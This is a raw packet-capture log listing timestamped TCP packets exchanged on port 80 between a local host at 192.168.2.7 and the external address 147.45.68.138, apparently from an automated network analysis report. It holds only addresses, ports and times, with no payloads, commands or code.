Aug 28, 2024 22:55:58.613806963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613811970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613818884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613833904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613847971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613851070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613858938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613868952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613879919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613892078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613904953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613910913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613920927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613930941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613933086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613943100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613943100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613953114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613959074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613970041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613981962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613987923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613992929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614003897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614001989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614026070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614048958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614057064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614067078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614075899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614084959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614101887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614120960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614135981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614145994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614155054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614165068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614176035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614181042 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614201069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614202023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614212990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614216089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614223003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614232063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614243984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614267111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614345074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614356041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614375114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614384890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614386082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614394903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614406109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614408016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614429951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614454031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614454985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614465952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614475965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614487886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614496946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614521027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614550114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614562035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614571095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614593983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614608049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614757061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614809036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614820004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614845037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614859104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614870071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614876032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614880085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614890099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614892960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614902973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614912033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614914894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614937067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614939928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614947081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.614960909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.614975929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615024090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615035057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615045071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615055084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615072012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615072966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615083933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615083933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615096092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615104914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615106106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615128994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615137100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615158081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615176916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615186930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615197897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615207911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615219116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615227938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615232944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615259886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615315914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615325928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615358114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615367889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615377903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615387917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615398884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.615421057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.615444899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699359894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699383974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699394941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699460983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699470997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699482918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699493885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699510098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699521065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699529886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699539900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699557066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699567080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699577093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699589014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699671984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699671984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699671984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699676037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699687004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699697018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699707985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699727058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699757099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699760914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699767113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699775934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699785948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699798107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699810028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699812889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699819088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699830055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699840069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.699847937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.699877024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700258017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700320005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700329065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700365067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700367928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700378895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700423002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700423002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700433969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700443029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700464964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700484991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700503111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700517893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700527906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700539112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700541973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700547934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700558901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700562000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700568914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700596094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700596094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700604916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700634956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700654030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700656891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700690031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700694084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700700998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700727940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700735092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700737000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700746059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700754881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700774908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700777054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700788021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700794935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700798035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700809956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700826883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700838089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700860023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700879097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700890064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700901031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700913906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.700927973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.700949907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701028109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701039076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701047897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701057911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701075077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701075077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701082945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701085091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701096058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701106071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701108932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701117992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701117992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701128006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701138973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701139927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701153994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701164007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701174021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701179028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701183081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701193094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701203108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701205015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701215982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701229095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701255083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701297998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701309919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701319933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701333046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701345921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701345921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701366901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701389074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701391935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701402903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701412916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701437950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701446056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701447010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701457977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701467037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701478004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701488972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701497078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701499939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701519012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701519012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701527119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701538086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701550007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701575041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701622009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701632023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701669931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701698065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701709032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701718092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701728106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701739073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701740026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701746941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701752901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701775074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701793909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701813936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701834917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701870918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701896906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701913118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701925039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701939106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701961994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.701970100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701986074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.701996088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702003956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702008009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702023983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702030897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702054977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702071905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702075005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702088118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702132940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702152014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702162981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702173948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702187061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702203035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702209949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702209949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702213049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702234030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702255964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702282906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702294111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702311993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702323914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.702332973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702352047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.702370882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786197901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786214113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786232948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786243916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786259890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786271095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786281109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786279917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786292076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786303043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786309004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786315918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786333084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786335945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786350965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786366940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786376953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786379099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786386967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786396980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786401987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786407948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786417961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786441088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786505938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786537886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786556005 CEST	80	49731	147.45.68.138	192.168.2.7
